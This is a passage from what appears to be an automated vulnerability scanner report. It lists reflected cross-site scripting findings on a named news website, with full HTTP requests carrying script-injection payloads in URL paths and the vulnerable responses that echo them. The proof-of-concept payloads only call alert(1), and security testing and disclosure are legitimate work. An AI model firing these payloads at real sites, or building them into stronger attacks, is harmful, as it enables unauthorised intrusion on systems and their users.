X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:36 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460336"
Content-Type: text/html; charset=utf-8
Content-Length: 57672
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:40 GMT
X-Varnish: 1038160706
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/fbconnect33e40"><script>alert(1)</script>c3afb31d4f7/fbconnect.js?h"/>
...[SNIP]...

1.178. http://www.itworld.com/sites/all/modules/contrib/fbconnect/fbconnect.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/fbconnect/fbconnect.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload be00b"-alert(1)-"7017441ab53 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/fbconnect/fbconnect.jsbe00b"-alert(1)-"7017441ab53?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460369"
Content-Type: text/html; charset=utf-8
Content-Length: 57452
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:11 GMT
X-Varnish: 1038161717
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
5="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/fbconnect/fbconnect.jsbe00b"-alert(1)-"7017441ab53";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.179. http://www.itworld.com/sites/all/modules/contrib/fbconnect/fbconnect.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/fbconnect/fbconnect.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload af29d"><script>alert(1)</script>c9db96dfbf0 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/fbconnect/fbconnect.jsaf29d"><script>alert(1)</script>c9db96dfbf0?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:57 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460357"
Content-Type: text/html; charset=utf-8
Content-Length: 57671
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:59 GMT
X-Varnish: 1038161381
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/fbconnect/fbconnect.jsaf29d"><script>alert(1)</script>c9db96dfbf0?h"/>
...[SNIP]...

1.180. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5ae7e"-alert(1)-"e551714aab2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites5ae7e"-alert(1)-"e551714aab2/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:21:10 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460070"
Content-Type: text/html; charset=utf-8
Content-Length: 57679
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:24 GMT
X-Varnish: 398322502
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=39a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites5ae7e"-alert(1)-"e551714aab2/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12=
...[SNIP]...

1.181. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81e41"><script>alert(1)</script>24ba1609dfe was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites81e41"><script>alert(1)</script>24ba1609dfe/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:19 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460019"
Content-Type: text/html; charset=utf-8
Content-Length: 57901
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:49 GMT
X-Varnish: 398321379
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=39a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites81e41"><script>alert(1)</script>24ba1609dfe/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js?h"/>
...[SNIP]...

1.182. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f28c"-alert(1)-"52d826dabff was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib2f28c"-alert(1)-"52d826dabff/hoverintent/js/jquery.hoverIntent.minified.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:03 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460303"
Content-Type: text/html; charset=utf-8
Content-Length: 57685
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:35 GMT
X-Varnish: 1038159678
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
op14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib2f28c"-alert(1)-"52d826dabff/hoverintent/js/jquery.hoverIntent.minified.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't f
...[SNIP]...

1.183. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 488a8"><script>alert(1)</script>91614b245c3 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/hoverintent488a8"><script>alert(1)</script>91614b245c3/js/jquery.hoverIntent.minified.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460355"
Content-Type: text/html; charset=utf-8
Content-Length: 57906
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:57 GMT
X-Varnish: 1038161335
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/hoverintent488a8"><script>alert(1)</script>91614b245c3/js/jquery.hoverIntent.minified.js?h"/>
...[SNIP]...

1.184. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5803"-alert(1)-"0c58f56291 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/hoverintenta5803"-alert(1)-"0c58f56291/js/jquery.hoverIntent.minified.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460371"
Content-Type: text/html; charset=utf-8
Content-Length: 57674
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:13 GMT
X-Varnish: 1038161763
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
h";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/hoverintenta5803"-alert(1)-"0c58f56291/js/jquery.hoverIntent.minified.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page
...[SNIP]...

1.185. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 785e0"><script>alert(1)</script>cd89cc431a0 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/hoverintent/js785e0"><script>alert(1)</script>cd89cc431a0/jquery.hoverIntent.minified.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:38 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460398"
Content-Type: text/html; charset=utf-8
Content-Length: 57905
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:39 GMT
X-Varnish: 1038162458
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/hoverintent/js785e0"><script>alert(1)</script>cd89cc431a0/jquery.hoverIntent.minified.js?h"/>
...[SNIP]...

1.186. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 13695"-alert(1)-"af39c66884f was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/hoverintent/js13695"-alert(1)-"af39c66884f/jquery.hoverIntent.minified.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460406"
Content-Type: text/html; charset=utf-8
Content-Length: 57685
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:49 GMT
X-Varnish: 1038162700
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...

s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/hoverintent/js13695"-alert(1)-"af39c66884f/jquery.hoverIntent.minified.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page yo
...[SNIP]...

1.187. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7836"><script>alert(1)</script>39538eb60b4 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.jsc7836"><script>alert(1)</script>39538eb60b4?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:57 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460417"
Content-Type: text/html; charset=utf-8
Content-Length: 57905
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:05 GMT
X-Varnish: 1038163159
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.jsc7836"><script>alert(1)</script>39538eb60b4?h"/>
...[SNIP]...

1.188. http://www.itworld.com/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 632f6"-alert(1)-"624fd73f6af was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js632f6"-alert(1)-"624fd73f6af?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:09 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460429"
Content-Type: text/html; charset=utf-8
Content-Length: 57685
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:09 GMT
X-Varnish: 1038163451
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
6="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/contrib/hoverintent/js/jquery.hoverIntent.minified.js632f6"-alert(1)-"624fd73f6af";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.189. http://www.itworld.com/sites/all/modules/contrib/img_assist/img_assist.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/contrib/img_assist/img_assist.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8b76a"><script>alert(1)</script>eac1e78b903 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites8b76a"><script>alert(1)</script>eac1e78b903/all/modules/contrib/img_assist/img_assist.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:19:52 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316459992"
Content-Type: text/html; charset=utf-8
Content-Length: 57686
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:19:53 GMT
X-Varnish: 1959722164
Age: 0
Via: 1.1 varnish
Connection: keep-alive
